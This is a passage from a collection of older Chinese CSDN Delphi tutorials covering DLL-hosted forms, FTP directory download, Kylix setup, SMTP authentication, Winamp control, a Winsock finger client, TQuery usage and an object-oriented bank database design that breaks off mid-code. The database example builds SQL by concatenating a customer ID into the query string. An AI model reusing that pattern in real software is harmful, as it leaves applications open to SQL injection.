procedure TForm1.N1Click(Sender: TObject);
var
DllHandle: THandle;
ProcAddr: FarProc;
ProvaChild: T_ProvaChild;
begin
DllHandle := LoadLibrary('mdidll');
ProcAddr := GetProcAddress(DllHandle, 'LoadChild');
if ProcAddr <> nil then
begin
ProvaChild := ProcAddr;
ProvaChild(Application,Self);
end;
end;

end.

结束语：
到这里你应该会用Delphi调用DLL文件中封装的窗口了吧，如果还有不明白的话请与我联系(主页: http://yousoft.home.chinaren.com ,邮箱:yousoft@chinaren.com)


CSDN_文档中心_使用ftp控件下载一个目录（附一则笑话）

delphi中的nmftp控件中Download函数只能下载一个文件，没有提供一个下载整个目录（包含子目录）的函数。
我编写了个实现目录下载功能的方法，需要用到该功能的用户可参考一下。
file://目录下载
function tftp.ex_download(remote_dir,local_dir:string):boolean;
var
i,j,count1:integer;
att,ss:string;
current_dir:string;
temp_dir:string;
begin
try begin
NMFTP1.ChangeDir(remote_dir);
current_dir:=remote_dir;
temp_dir:=copy(current_dir,2,length(current_dir));
if not DirectoryExists(local_dir) then CreateDir(local_dir);
if not directoryexists(local_dir+temp_dir) then createdir(local_dir+temp_dir);
nmftp1.ParseList:=true;
NMftp1.list;
count1:=nmftp1.FTPDirectoryList.name.Count;
for i:=0 to count1-1 do begin
file://必须
NMFTP1.ChangeDir(current_dir);
nmftp1.list;
ss:=nmftp1.FTPDirectoryList.name.Strings[i];
att:=nmftp1.FTPDirectoryList.Attribute.Strings[i];
if (copy(pchar(att),1,1)<>'d')and(copy(pchar(att),1,1)<>'D') then begin
if not DirectoryExists(local_dir) then CreateDir(local_dir);
NMFTP1.Download(current_dir+ss,local_dir+temp_dir+ss);
end
else begin
if not directoryexists(local_dir+temp_dir+ss) then createdir(local_dir+temp_dir+ss);
file://递归调用
ex_download(remote_dir+ss+'\',local_dir);
end;
end;
result:=true;
end
except
On E:Exception do begin
result:=false;
end;
end;
end;

————————————————————————————————————————————————————————————
老大晕倒了

一天，上班时间，我在电脑前“工作”，这时，老大过来了。
老大：小刘啊，上班时间不要看flash动画。
小刘：我很少看。
老大：很少看？你看你机器目录名为”阿贵“的目录，肯定都有三`四十兆了。
小刘：老大，冤枉啊，哪有那么多……
老大：没有30兆，至少也该有20兆吧。
小刘：老大你过来看……文件夹……”阿贵“……属性……，只有……142兆！！！……啊，老大，你怎么了，快醒醒啊……
————————————————————————————————————————————————————————————

更多的原创技巧文档和关于程序员的幽默，请访问我个人主页http://aton.126.com


CSDN_文档中心_使用Kylix必看：您为Kylix做好准备了么？－BY CKER

您为Kylix做好准备了么？

做好的程序员一如做人。多看多想或许他山之石可以攻玉，但永远不要成为代码的奴隶。 CKER
原著：Borland 翻译: CKER

Translated by
CKER

您为Kylix做好准备了么？当然！可您的系统为Kylix准备好了么？开发Kylix的时候，我们发现了一些问题，尽管绝大多数最新的Linux版本已经注明了这些问题。但若您手里的Linux是个旧版本的话，比如说您上个星期下载的Linux版本，您也许会碰见和我一样的问题。阅读本文您就可以让您的系统为Kylix做好准备！

第一步是下载我们的测试程序和glibc的补丁。您可以从 http://www.borland.com/devsupport/kylix/downloads/下载Borland Kylix的Pre-Test程序。下载后解开tar格式的压缩文件您会发现叫做BORPRETEST的目录。此目录下有一个叫做testsytem的shell script。这个script运行一个叫做borpretest的测试程序，检查您的系统是否满足安装Kylix的基本需求。比如libjpeg的版本,基本 libc 的版本，等等等等。此外，它还尝试加载和卸载一些系统模块来测试与Linux loader的兼容性。如果您系统中拥有正确的系统文件来运行Kylix的话，borpretest会在其终端输出中告诉你。详细的错误讯息描述包含在叫做PREINSTALL的文本文件中。本文将着重于添加几条关于Linux loader的BUG的详细讯息，以及如何升级您的系统。

此处是对Linux loader的主要BUG的简短描述。假设我们把您程序加载的一个模块叫做Module A，Module A又与Module A1有依赖关系，您的程序同时又加载了Module B。如果Module B共享与Module A1的依赖关系的话，您在试图同时卸载Module A和B的时候就会有麻烦啦！同时卸载Module A和B之后，Module A1的引用计数（reference count）无法被正确更新，如果以后再使用这个引用的话会导致崩溃！幸运的是我们已经知道如何弥补这个问题，gnu.org已经同意将其加入主要的libc分支版本中。

您能否得到这个问题的修正取决于您的Linux发行版本。目前我们已经有针对Red Hat 6.2, 7.0, Mandrake 7.2 和 SuSE 7.0的pre-built解决方案。

Red Hat 7.0的glibc 2.2正式版本中包含了此修正。Red Hat 6.2目前还没有发布正式补丁。我们已经提供了6.2的一个内部使用版的补丁，但还未被Red Hat所支持。通常您可以在您的开发环境中安全使用它，但我们建议您不要向您的用户们分发此版本。我们已经就Kylix的相关内容对其进行了测试，但还不能保证使用这个补丁的安全性。使用风险由您自负。同时我们提供补丁的所有源文件。

Mandrake已经发布了一个包括此修正的“非正式的”glibc分支版本，您可以从 ftp://ftp.sunet.se/pub/Linux/distributions/mandrake-devel/unsupported/i586处下载。此外您应该注意Mandrake的发行版本不带debug符号，这使得在Mandrake上进行调试变得有点困难。我们建议您带debug符号重新编译系统。

SuSE已经发布了7.0版的正式补丁，可以从http://www.suse.com/us/support/download/处下载。Kylix的Server版和Desktop版将和SuSE7.0的已修订过的共享版捆绑发行。

我们已经提供此测试程序的源文件。在安装Kylix之前我们使用相同的测试机制。如果Loader的补丁没有安装，Kylix将拒绝安装。您也许希望在您的安装程序中进行相似的检查。

您的程序碰见这个Loader的bug吗？这取决于您所使用的package(包)以及是否动态加载了存在共享依赖性的模块。这种可能性完全存在。Kylix的IDE做了许多如此的行为，我们绝对需要在任何一台安装Kylix的开发机器上修正此Loader的BUG。

如果您手里的Linux发行版本还没有发布一个正式补丁，您应该直接接洽他们并怂恿他们赶快发一个吧。这意味着您可以看看我们的补丁源文件并努力将他们应用到您的Linux发行版本中。此外，任何提供了glibc 2.2的升级版本的Linux发行版本都已经对此进行了修正。

打过这些补丁之后您可以开始安装Kylix啦！

愿您一路走好!


CSDN_文档中心_使用TNMSMTP控件在需认证服务器上发送邮件

前言：

    现在很多STMP服务器在发送邮件时均需重新认证一遍，而Delphi的TNMSMTP控件对它没有很“可视化”的支持，使很多人在开发过程中大打问号。

    由于前段时间在做《CSDN查询助手》的时候，使用的也是需认证的服务器（163.com）。从其它地方摘取了部分代码得以解决，现在此发布与大家共享。

实现：

1、在NMSMTP的OnConnect事件中添加代码：

var strUserName, strPassword: String;
begin
strUserName := EncodeString('CoolSlob');//CoolSlob是服务器的帐号
strPassword := EncodeString('Password');//Password是密码
{进行认证，输入编码后的用户名、密码}
nmsmtp1.Transaction('EHLO') ;
nmsmtp1.Transaction('AUTH LOGIN');
nmsmtp1.Transaction(strUserName);
nmsmtp1.Transaction(strPassword);
StatusBar1.SimpleText := '连接成功';
end;

2、EncodeString函数实现过程：

{对参数Decoded字符串进行Base64编码，返回编码后的字符串}
function EncodeString(Decoded:string):String;
var
mmTemp,mmDecoded:TMemoryStream;
strTemp:TStrings;
begin
mmTemp := TMemoryStream.Create;
mmDecoded:=TMemoryStream.Create;
strTemp:=TStringList.Create;
strTemp.Add(Decoded);
strTemp.SaveToStream(mmTemp);
mmTemp.Position := 0;
{剔除mmTemp从strTemp中带来的字符#13#10}
mmDecoded.CopyFrom(mmTemp,mmTemp.Size-2);
{对mmDecoded进行Base64编码，由mmTemp返回编码后的结果}
EncodeBASE64(mmTemp,mmDecoded);
{获得Base64编码后的字符串}
mmTemp.Position:=0;
strTemp.LoadFromStream(mmTemp);
{返回结果必须从strTemp[0]中获得，如果使用strTemp.Text会
带来不必要的字符#13#10}
Result:=strTemp[0];
end;

3、EncodeBASE64函数实现过程：

function EncodeBASE64(Encoded: TMemoryStream ; Decoded: TMemoryStream): Integer;
const
_Code64: String[64] =
('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');
var
I: LongInt;
B: array[0..2279] of Byte;
J, K, L, M, Quads: Integer;
Stream: string[76];
EncLine: String;
begin
Encoded.Clear;
Stream := '';
Quads := 0;
{为提高效率，每2280字节流为一组进行编码}
J := Decoded.Size div 2280;
Decoded.Position := 0;
{对前J*2280个字节流进行编码}
for I := 1 to J do
begin
Decoded.Read(B, 2280);
for M := 0 to 39 do
begin
for K := 0 to 18 do
begin
L:= 57*M + 3*K;
Stream[Quads+1] := _Code64[(B[L] div 4)+1];
Stream[Quads+2] := _Code64[(B[L] mod 4)*16 + (B[L+1] div 16)+1];
Stream[Quads+3] := _Code64[(B[L+1] mod 16)*4 + (B[L+2] div 64)+1];
Stream[Quads+4] := _Code64[B[L+2] mod 64+1];
Inc(Quads, 4);
if Quads = 76 then
begin
Stream[0] := #76;
EncLine := Stream+#13#10;
Encoded.Write(EncLine[1], Length(EncLine));
Quads := 0;
end;
end;
end;
end;

{对以2280为模的余数字节流进行编码}
J := (Decoded.Size mod 2280) div 3;
for I := 1 to J do
begin
Decoded.Read(B, 3);
Stream[Quads+1] := _Code64[(B[0] div 4)+1];
Stream[Quads+2] := _Code64[(B[0] mod 4)*16 + (B[1] div 16)+1];
Stream[Quads+3] := _Code64[(B[1] mod 16)*4 + (B[2] div 64)+1];
Stream[Quads+4] := _Code64[B[2] mod 64+1];
Inc(Quads, 4);
{每行76个字符}
if Quads = 76 then
begin
Stream[0] := #76;
EncLine := Stream+#13#10;
Encoded.Write(EncLine[1], Length(EncLine));
Quads := 0;
end;
end;
{“=”补位}
if (Decoded.Size mod 3) = 2 then
begin
Decoded.Read(B, 2);
Stream[Quads+1] := _Code64[(B[0] div 4)+1];
Stream[Quads+2] := _Code64[(B[0] mod 4)*16 + (B[1] div 16)+1];
Stream[Quads+3] := _Code64[(B[1] mod 16)*4 + 1];
Stream[Quads+4] := '=';
Inc(Quads, 4);
end;

if (Decoded.Size mod 3) = 1 then
begin
Decoded.Read(B, 1);
Stream[Quads+1] := _Code64[(B[0] div 4)+1];
Stream[Quads+2] := _Code64[(B[0] mod 4)*16 + 1];
Stream[Quads+3] := '=';
Stream[Quads+4] := '=';
Inc(Quads, 4);
end;

Stream[0] := Chr(Quads);
if Quads > 0 then
begin
EncLine := Stream+#13#10;
Encoded.Write(EncLine[1], Length(EncLine));
end;

Result := Encoded.Size;
end;

声明：

    上述代码非本人所作，由于不知其原始出处，故仍作为“原创”！


CSDN_文档中心_使用Windows消息控制Winamp（Delphi）

使用Windows消息控制Winamp（Delphi）
--------------------------------------------------------------------------------
第一部分：得到Winamp的窗口

Winamp是一个32位的Windows应用程序。也就是说,我们可以使用32位的Windows编程的一些基础技术来实现控

制Winamp，即使用Windows的消息系统。在你给Winamp发送消息之前，你必须得到Winamp窗口的句柄。这里有

个方法，使用外部应用程序（例如你自己编写的Delphi应用）就可以达到要求。

var
hwndWinamp:HWND;
hwndWinamp := FindWindow('Winamp v1.x',0); //得到Winamp的句柄

大家可能会注意到一点，为什么要使用类名"Winamp v1.x"来FindWindow呢？因为Winamp 1.x 和 2.x 的所有

版本都是用"Winamp v1.x"这个class name的。

第二部分：使用消息

Winamp相应的三个消息：WM_USER，WM_COMMAND，和 WM_COPYDATA。WM_USER 和 WM_COPYDATA 允许你可以对

Winamp进行一些高级的控制。而WM_COMMAND则可以做一些简单的操作，如暂停，播放，和跳到下一首音乐。

1.WM_COMMAND 消息：

Previous track button 40044
Next track button 40048
Play button 40045
Pause/Unpause button 40046
Stop button 40047
Fadeout and stop 40147
Stop after current track 40157
Fast-forward 5 seconds 40148
Fast-rewind 5 seconds 40144
Start of playlist 40154
Go to end of playlist 40158
Open file dialog 40029
Open URL dialog 40155
Open file info box 40188
Set time display mode to elapsed 40037
Set time display mode to remaining 40038
Toggle preferences screen 40012
Open visualization options 40190
Open visualization plug-in options 40191
Execute current visualization plug-in 40192
Toggle about box 40041
Toggle title Autoscrolling 40189
Toggle always on top 40019
Toggle Windowshade 40064
Toggle Playlist Windowshade 40266
Toggle doublesize mode 40165
Toggle EQ 40036
Toggle playlist editor 40040
Toggle main window visible 40258
Toggle minibrowser 40298
Toggle easymove 40186
Raise volume by 1% 40058
Lower volume by 1% 40059
Toggle repeat 40022
Toggle shuffle 40023
Open jump to time dialog 40193
Open jump to file dialog 40194
Open skin selector 40219
Configure current visualization plug-in 40221
Reload the current skin 40291
Close Winamp 40001
Moves back 10 tracks in playlist 40197
Show the edit bookmarks 40320
Adds current track as a bookmark 40321
Play audio CD 40323
Load a preset from EQ 40253
Save a preset to EQF 40254
Opens load presets dialog 40172
Opens auto-load presets dialog 40173
Load default preset 40174
Opens save preset dialog 40175
Opens auto-load save preset 40176
Opens delete preset dialog 40178
Opens delete an auto load preset dialog 40180

例程：控制Winamp暂停，播放，和跳到下一首音乐

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

Const IPC_WINAMP_NextTrackButton:integer = 40048; //跳到下一首音乐
Const IPC_WINAMP_PlayButton:integer = 40045; //播放
Const IPC_WINAMP_PauseUnpauseButton:integer = 40046; //暂停

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
hwndWinamp:HWND;//Winamp窗口的句柄
implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
hwndWinamp := FindWindow('Winamp v1.x',0); //得到Winamp的句柄
If hwndWinamp = 0 Then //判断Winamp是否运行
begin
ShowMessage('请启动Winamp先！');
Application.Terminate ;
end
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
//让Winamp跳到下一首音乐
SendMessage(hwndWinamp, WM_COMMAND, IPC_WINAMP_NextTrackButton,0);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
//让Winamp播放当前Mp3
SendMessage(hwndWinamp, WM_COMMAND, IPC_WINAMP_PlayButton,0);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
//让Winamp暂停当前Mp3
SendMessage(hwndWinamp, WM_COMMAND, IPC_WINAMP_PauseUnpauseButton,0);
end;

end.

2.WM_USER 消息：

例程：得到Winamp的版本

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,StrUtils;//使用StrUtils才能用LeftStr,RightStr,MidStr等函数

Const WA_GETVERSION:integer = 0;//Winamp的版本

type
TForm1 = class(TForm)
Button1: TButton;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
hwndWinamp:HWND;//Winamp窗口的句柄
implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
hwndWinamp := FindWindow('Winamp v1.x',0); //得到Winamp的句柄
If hwndWinamp = 0 Then //判断Winamp是否运行
begin
ShowMessage('请启动Winamp先！');
Application.Terminate ;
end
end;

procedure TForm1.Button1Click(Sender: TObject);
var
VersionNum : integer;
ReturnVersion : String;
begin
VersionNum := SendMessage(hwndWinamp, WM_USER, 0, WA_GETVERSION);
If Length(IntToHex(VersionNum,4)) > 3 Then
begin
ReturnVersion := LeftStr(IntToHex(VersionNum,4), 1) + '.' ;
ReturnVersion := ReturnVersion + MidStr(IntToHex(VersionNum,4), 2, 1);
ReturnVersion := ReturnVersion + RightStr(IntToHex(VersionNum,4),

Length(IntToHex(VersionNum,4)) - 3);
end
Else
ReturnVersion := 'UNKNOWN';

ShowMessage(ReturnVersion);
end;

end.

3.WM_COPYDATA 消息：

例程：Winamp的运行时刻在播放列表中加入一首Mp3的歌曲

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

Const IPC_PLAYFILE:integer = 100 ;//Winamp中加入文件

type
TForm1 = class(TForm)
Button1: TButton;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
hwndWinamp:HWND;//Winamp窗口的句柄
implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
hwndWinamp := FindWindow('Winamp v1.x',0); //得到Winamp的句柄
If hwndWinamp = 0 Then //判断Winamp是否运行
begin
ShowMessage('请启动Winamp先！');
Application.Terminate ;
end
end;

procedure TForm1.Button1Click(Sender: TObject);
var
CDS:COPYDATASTRUCT;
SongName:String;
begin
SongName:='I:\Mp3\周杰伦-简单爱.mp3';
CDS.dwData := IPC_PLAYFILE;
CDS.cbData :=Length(SongName)+1;
CDS.lpData := PChar(SongName);
SendMessage(hwndWinamp, WM_COPYDATA, 0, integer(@CDS));
end;

end.

所有例程在 Win2000 + Delphi6 中调试通过


CSDN_文档中心_使用winsock Api实现finger

在编制Winsocket程序的时候，要有一些必要的步骤：

1、初始化Winsock动态连接库；

2、建立一个Winsock对象。

3、连接主机。

4、和主机进行数据交流。

5、关闭Socket对象

6、释放Winsoket动态链接库。

下面是一个使用winsock Api实现finger实现的源程序：在delphi6中调试通过。

unit finger;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,winsock, StdCtrls;

type
TForm1 = class(TForm)
Label1: TLabel;
Label2: TLabel;
edtHost: TEdit;
btnFinger: TButton;
edtUser: TEdit;
memInfo: TMemo;
procedure btnFingerClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.btnFingerClick(Sender: TObject);
var
Info:string;//服务器返回的用户信息
BufSend,BufRev:pChar;//中间信息
skt:TSOCKET;//创建Socket对象
addr:TSockAddr;//地址信息
Re:Integer;
begin
//1、建立Socket
skt:=socket(AF_INET,SOCK_STREAM,0);
if(skt=INVALID_SOCKET)Then
begin
memInfo.Lines.Add('Error:Create Winsock Failed');
exit;
end;
//2、连接主机
ZeroMemory(@addr,sizeof(addr));
Addr.sin_family:=AF_INET;
Addr.sin_addr.S_addr:=inet_addr(Pchar(edtHost.Text));
//开放79端口
addr.sin_port:=htons(79);
Re:=connect(skt,addr,sizeof(addr));
if(Re<>0)then
begin
memInfo.Lines.Add('Connect to Server Failed!');
exit;
end;

//3、发送信息
GETMem(BufSend,1024);
ZeroMemory(BufSend,1024);
Info:=edtUser.Text+#10;
StrPCopy(BufSend,info);
Re:=Send(skt,Bufsend^,Length(BufSend),0);
if(Re=SOCKET_ERROR)then
begin
memInfo.Lines.Add('Send Data Failed!');
exit;
end;
//5、读取主机返回信息
GetMem(BufRev,1024);
Repeat
ZeroMemory(BufRev,1024);
re:=recv(skt,BufRev^,1024,0);
Info:=Strpas(bufRev);
memInfo.Lines.Add(Info);
Until re=0;
memInfo.Lines.Add('FINISH!');
FreeMem(BufSend);
FreeMem(BufRev);
//6、关闭socket连接
closesocket(skt);
end;

procedure TForm1.FormCreate(Sender: TObject);
var
WSAData:TWSAData; //是TWSAData类型的变量，系统把加载的版本信息添加到这个结构中
begin
//初始化Winsock
if(WSAStartup(MAKEWORD(2,0),WSAData)<>0)then
begin
//初始化失败
memInfo.Lines.Add('Winsock Init Failed!');
exit;
end
else
memInfo.Lines.Add('Winsock Start!');
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
WSACleanUP();
end;

end.
如果有什么问题，请联系 qiujianben@163.com (杭州电子工业学院）


CSDN_文档中心_手册中关于怎样使用TQuery 的误导

Q：手册中关于怎样使用TQuery 的误导

A：用Delphi开发数据库时经常会用到TQuery， 手册中有很多关于它的例子， 大致结构如下：

Query1.Close;
Query1.ParamByName('ID').AsString := '001';
Query1.Open;
String := Query1.FieldByName('ID').AsString;

很多用户根据这段例子开发时会遇到速度慢， 资源耗用多， 甚至引发资源不足的异常。 这是为什么呢， 其实是手册的例子有些片面， 误导了大家。

Delphi有一个重要的特性是DB aware， 把DBGrid与Query连接在一起， Query的结果集就会自动的显示在DBGrid中。 为了保证DBGrid总显示查询结果， 需要Query总保持Active。 当修改Query的查询条件时， 先关闭Query， 修改完查询条件以后再打开它。 这就是上面代码的含义。

问题是，当Query不和DB aware组件连接时， 比如在计算字段的事件中取其它表的内容， 应该怎样写代码。 这时候不需要让Query保持Active， 相反， 为了减少不必要的浪费， 应该是保持DeActive。 所以代码应该如下：

Query1.ParamByName('ID').AsString := '001';
Query1.Open;
String := Query1.FieldByName('ID').AsString;
Query1.Close;

您在使用Query的时候要注意根据实际情况选择适当的方法， 不要被手册误导。


CSDN_文档中心_输出SHELL32.DLL的图标

unit iconobject;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,shellapi,comobj, ComCtrls;

type
TForm1 = class(TForm)
ListView1: TListView;

procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }

end;

var
Form1: TForm1;
Desktopicon: TimageList;
implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
Var Sfi : TSHFileInfo;
I : Integer;
ListItem : TListItem;
begin
// 输出所有的 windows 95/98/2000 图标
DesktopIcon:= TImageList.Create(Self);
DesktopIcon.Handle := SHGetFileInfo('', 0, sfi, SizeOf(TSHFileInfo),
shGFI_SYSICONINDEX or SHGFI_SMALLICON);
DesktopIcon.ShareImages := TRUE;
ListView1.SmallImages := Desktopicon;
For I:=0 to 255 -1 do
With ListView1 Do
Begin
ListItem := Items.add;
ListItem.Caption := Inttostr(I);
ListItem.ImageIndex := I;
End;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Desktopicon.free;
end;

end.


CSDN_文档中心_数据库的一种完全面向对象设计模式（包含实例） Rayphrank原创！

数据库的一种完全面向对象设计模式

1．1 完全面向对象和非完全面向对象

面向对象（OO）方法这个名字早已深入人心，它的科学性和合理性也已毋庸置疑。人们动辄将自己开发的软件冠以“采用面向对象方法设计”以示其先进性就是一个极好的证明。然而，一个先进的方法学必须有相应的工具支持才能实现，它的概念和方法如不落实程序实现上，就不能真正掌握它的精髓而在实践中运用。诚然，SmallTalk语言已被公认是一个面向对象语言，但是它对于开发者来说是多么的陌生！C++也可以说是一个OO语言，不过从名字就可以看出他是C语言的一个变种。它实现了从过程式编程到面向对象编程的一个较好的过渡。但是许多声称用C++制作的软件其实仍旧是C软件！这是因为没有真正掌握OO方法的缘故。

即使开发者的开发环境，开发工具是支持OO的（如Delphi，VC），但开发者没有以OO的观点去观察软件的问题域，或者以往的过程式设计思想根深蒂固，那么开发出的软件仍旧是披着OO这件漂亮外衣的过程化软件。没有把OO作为一种确实实用的方法学。造成这种现象的原因是没有认识到OO的精髓，尤其是在一些RAD开发工具下，更容易忽视以OO的观点去观察问题域。

RAD开发工具开发的软件常能分成两种形式：完全面向对象设计和非完全面向对象设计。一个数据库软件系统的体系结构常能分为三层：用户接口层、中间件层和数据库层。在用户接口层，常是一些具体与用户交互的对象，如：按钮、菜单、和对话框。在数据库层，则是从问题域中找出描述实体的表。完全面向对象和非完全面向对象的最大区别在于中间件层，什么是中间件层，中间件层是问题域中具体对象，商业规则，更高层次上的问题实体。完全面向对象有中间件层，非完全面向对象没有中间件层。RAD工具开发时常会忽视中间件层。

举个例子：一个简单的记帐系统如果用RAD工具（如：Delphi）开发，用户接口层是一些系统中所用的控件，如按钮，菜单等，这些控件对象由Delphi或其它开发工具中的类库封装；数据库层则是在数据库系统（如SQL SERVER、Oracle等）建立的表，如顾客表、产品表、订单表等。

完全面向对象设计中的中间件层为问题域的交易，商业规则等对象，以及更高层次上的问题实体，如顾客，产品，订单。非完全面向对象则没有中间件层这些对象。换句话说，非完全面向对象是基于用户接口层直接存取数据库层，即：基于控件。完全面向对象是将中间件层封装数据库层，用户接口层使用中间件层，这样将数据库层完全透明，做到数据与界面的分离，即：面向对象，基于控件。

在一些小型的系统中，非完全面向对象设计可以加快开发速度，但系统的灵活性，重用性不好，大型系统必须采用完全面向对象的开发方法，否则，由于商业规则没有放在一起，软件后期将不可控制，一个成功的可复用的商业软件应该是由中间件层的众多对象组件灵活搭配而成。

由此，笔者提出一种数据库完全面向对象的设计模式。

1．2数据库的一种完全面向对象设计模式

用完全面向对象的方法做一般的应用程序比数据库程序容易一些，因为它不涉及到数据库存取。但在做数据库程序时应该考虑类跟跟数据库是怎样联系的。

步骤1：分析问题域，找出所有问题域中相关事物，从中抽象出对象。

步骤2：从抽象出的对象中找出所有的持久对象（Persisitant Object），所谓持久对象就是由数据库管理系统负责管理的，可以永久保留，将来可被提取的对象，将这些持久对象以“一类一表格”的原则映射到数据库中，通过数据库管理系统建立表格。

步骤3：定义持久对象，所有持久对象均采用“双构造函数”的方法在程序中进行构造，其中，一个构造函数参数为所有初始化该持久对象的值，封装数据模块中“存”操作，另一个构造函数的参数为唯一标识该持久对象的值，封装数据模块中“取”操作。其它数据库操作由持久对象相应方法封装。

步骤4：所有与数据库层发生交互的动作，均放在专门的数据模块中，由中间件层持久对象相应方法封装，做到数据与界面的分离。

步骤5：定义其它非持久对象。具体软件功能由相应对象协同实现。

该设计模式的重点在于持久对象的定义，除了双构造外，持久对象如果一次获取数据数量>1，那么可以定义“持久对象集”对象，“持久对象集”对象由持久对象组成，“持久对象集”对象中的对象集可由数据模块中相应的SQL语言筛选，如果数据集中数据数量非常大，那么在数据模块中相应的SQL语言可以以固定数量进行筛选数据集，分批筛选。对象集中的相应持久对象可用链表的结构进行链接。
以这种方式定义的持久对象，完全封装了数据库存取，用户在使用持久对象的时侯甚至感觉不到数据库的存在，因为相应的数据库操作已被持久对象的相应方法封装，用户只需要建立相应的持久对象即可进行数据库的操作。

2．数据库完全面向对象设计模式在银行储蓄管理系统中的实现

2.1问题域对象、持久对象与数据库表

根据上述设计模式的思想，我们首先找出问题域的所有对象
1． 帐户对象
2． 储蓄帐户对象
3． 定期储蓄帐户对象
4． 活期储蓄帐户对象
5． 银行卡帐户对象

其中储蓄帐户对象、银行卡帐户对象继承自帐户对象，帐户对象为一个虚基类，定期储蓄帐户对象、活期储蓄帐户对象继承自储蓄帐户，储蓄帐户对象为一个虚基类
UML类层次图（图12）

图12：帐户对象UML类层次图

6． 储户对象
7． 柜员对象
8． 交易对象
9． 费用对象
10． 利率对象
11． 特殊操作对象
12． 系统信息对象
13． 银行功能对象
14． 银行服务对象
15． 储蓄服务对象
16． 银行卡服务对象

其中储蓄服务对象，银行卡服务对象继承自银行服务对象，银行服务对象是一个虚基类

UML类层次图（图13）

图13：服务对象类层次图

然后，我们分析问题域，将要持久存储在数据库的数据对象确立为持久对象。
所确立的持久对象为：
1． 储蓄帐户对象
2． 定期储蓄帐户对象
3． 活期储蓄帐户对象
4． 银行卡帐户对象
5． 储户对象
6． 柜员对象
7． 交易对象
8． 费用对象
9． 利率对象
10． 特殊操作对象
这些持久对象将以“一类一表格”的原则映射到我们选择的数据库SQL SERVER2000中，由此确立数据库中所建立的表格与字段为：

2．2 问题域对象的定义

（1） 双构造函数的使用。

限于篇幅，本文以持久对象——储户对象为例，说明持久对象的双构造函数方法，其它持久对象的定义思想与之大致相同。

储户对象接口定义
type
TCustomer = class(TObject)
private
{ Private declarations }
protected
{ Protected declarations }
Cus_id:string;
Cus_name:string;
Cus_shenfenid:string;
Cus_addr:string;
Cus_phone:string;
procedure New_Cus_Info(c_name,c_sfid,c_addr,c_phone:string);
procedure Load_Cus_info(cusid:string);
public
{ Public declarations }
constructor create(c_name,c_sfid,c_addr,c_phone:string);overload; //(1)
constructor Create(cusid:string);overload; //(2)

function update_cus():boolean;
procedure Set_Cus_Id(C_Id:string);
procedure Set_Cus_name(C_name:string);
procedure Set_Cus_shenfenid(sfid:string);
procedure Set_Cus_addr(addr:string);
procedure Set_Cus_phone(phone:string);
function Get_Cus_Id:string;
function Get_Cus_name:string;
function Get_Cus_shenfenid:string;
function Get_Cus_addr:string;
function Get_Cus_phone:string;
published
{ Published declarations }
end;

根据数据库完全面向对象设计模式，持久对象将由两个构造函数（见（1）、（2）），其中第一个构造函数参数为所有初始化该持久对象的值，封装数据模块中“存”操作，

constructor TCustomer.create(c_name,c_sfid,c_addr,c_phone:string);
begin
New_Cus_Info(c_name,c_sfid,c_addr,c_phone);
end;
procedure TCustomer.New_Cus_Info(c_name,c_sfid,c_addr,c_phone:string);
begin
Cus_name:=c_name; file://（1）
Cus_shenfenid:=c_sfid; file://（2）
Cus_addr:=c_addr; file://（3）
Cus_phone:=c_phone; file://（4）
dmodule.New_Cus_Info(self);
end;
这里，self指针代表持久对象自身，由于（1）—（4）已经对持久对象赋值，所以只需将self代入数据模块上对数据库进行新增操作的方法上。

另一个构造函数（2）的参数为唯一标识该持久对象的值，封装数据模块中“取”操作。
constructor TCustomer.create(cusid: string);
begin
Load_cus_info(cusid);
end;
procedure TCustomer.Load_Cus_info(cusid: string);
begin
Cus_id:=cusid;
dmodule.load_cus_info(self);
end;

同样self代表将取得的数据持久对象，在取得该对象所有值之前，只知道标识该对象的标识值（如储户对象中储户的编号），而数据模块上对数据库进行取操作的函数（本例中为dmodule.load_cus_info(self);）所执行的功能就是对所代入的持久对象（此时只有该对象的标识值被赋值）的其他属性值进行赋值。

procedure TDModule.Load_cus_info(var CUS: TCustomer);
begin
with DCUSquery do
begin
close;
sql.Clear;
sql.Add('SELECT * from 储户信息表'); // (a)
sql.add('WHERE 储户ID='+''''+CUS.Get_Cus_Id+''''); // (b)
open;
if not fieldbyname('储户ID').isnull then
begin
cus.Set_Cus_name(trim(fieldbyname('储户姓名').asstring)); //（c）
cus.Set_Cus_shenfenid(trim(fieldbyname('储户身份证号').asstring)); //（d）
cus.Set_Cus_addr(trim(fieldbyname('储户地址').asstring)); //（e）
cus.Set_Cus_phone(trim(fieldbyname('储户电话').asstring)); //（f）
